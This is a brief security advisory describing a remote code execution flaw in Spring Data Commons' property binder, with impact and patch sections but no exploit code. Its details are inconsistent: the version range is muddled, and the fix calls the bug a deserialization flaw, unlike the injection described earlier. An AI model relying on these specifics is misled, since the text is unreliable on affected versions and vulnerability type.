Readycheck to confirm it

Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, and older unsupported versions, contain a property binder vulnerability caused by improper neutralization of special elements. An unauthenticated remote malicious user (or attacker) can supply specially crafted request parameters against Spring Data REST backed HTTP resources or using Spring Data's projection-based request payload binding hat can lead to a remote code execution attack.

Impact

Successful exploitation of this vulnerability could lead to remote code execution, allowing an attacker to execute arbitrary code on the affected system.

Fix

Apply the latest security patches provided by the vendor to fix the deserialization vulnerability.
